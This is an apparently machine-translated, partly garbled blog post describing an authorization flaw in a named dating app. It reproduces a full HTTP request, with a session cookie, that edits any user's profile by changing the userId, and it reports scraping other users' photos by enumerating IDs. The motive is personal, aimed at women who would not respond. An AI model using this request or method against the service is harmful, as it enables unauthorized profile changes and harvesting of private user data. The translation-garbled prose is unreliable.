Explore neighboring sisters to modify arbitrary user information

Attackers can modify the personal information of any user by modifying the information of any user.
If a buddy has a trembling hand, all of them will be changed. Now the time is clear. That's right. I am insomnia.

After watching a movie (XX female), I suddenly mentioned "neighboring" and only called strangers.

I am ashamed to know that I have the software.



The story started like this. After N years of exploration, I got angry. Why didn't my sister answer my phone and add my friends.

No. This is a provocation.

So I need to analyze it.

Ps: What are the benefits of Fiddler2, a software, instead of BS?

I will not write BS plug-ins. I will write Fiddler2 plug-ins.

In fact, the most important thing is that you can directly browse images.

It is convenient to configure the proxy of the mobile phone,

The test process is very simple.



 

POST /hujiao/afterLogin/modifyUserInfo215.html HTTP/1.1Host: web.hujiaozhuanyi.com:8088Connection: closeAccept-Encoding: gzipContent-Type: application/x-www-form-urlencoded; charset=utf-8Content-Length: 511Connection: closeCookie: JSESSIONID=0090F77EA09B0FCB45E3E33F3EBCDEB1-n2User-Agent: %|e6|%|af|%|94|%|e9|%|82|%|bb| 2.2.1 (iPhone; iPhone OS 7.1; zh_CN)userId=4916136&nickname=%E6%B5%8B%E8%AF%95&sign=%E6%89%BE%E4%B8%AA%E4%BC%9A%E5%81%9A%E9%A5%AD%E7%9A%84%E5%A6%B9%E5%AD%90%E3%80%82%E8%BF%99%E6%A0%B7%E6%88%91%E5%B0%B1%E4%B8%8D%E4%BC%9A%E9%A5%BF%E8%82%9A%E5%AD%90%E4%BA%86.%E9%82%A3%E5%8A%A0%E6%88%91%E5%BE%AE%E2%9D%A4%EF%B8%8F%E5%8F%B7%E5%BE%AE%E2%9D%A4%EF%B8%8F%E5%8F%B7cn-lotus&sex=1&sing=&city=%E5%8C%97%E4%BA%AC&farthestAddress=&badHobby=&career=%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8&cartoon=&idol=&birthday=1989-09-01%2000%3A00%3A00&loveNum=1&sexOrientation=0

A common change ID.

OWASP 2013 a7 testing method.

I personally prefer unauthorized access.

Ps: At last, I climbed my sister's picture from 1, and the result was too much.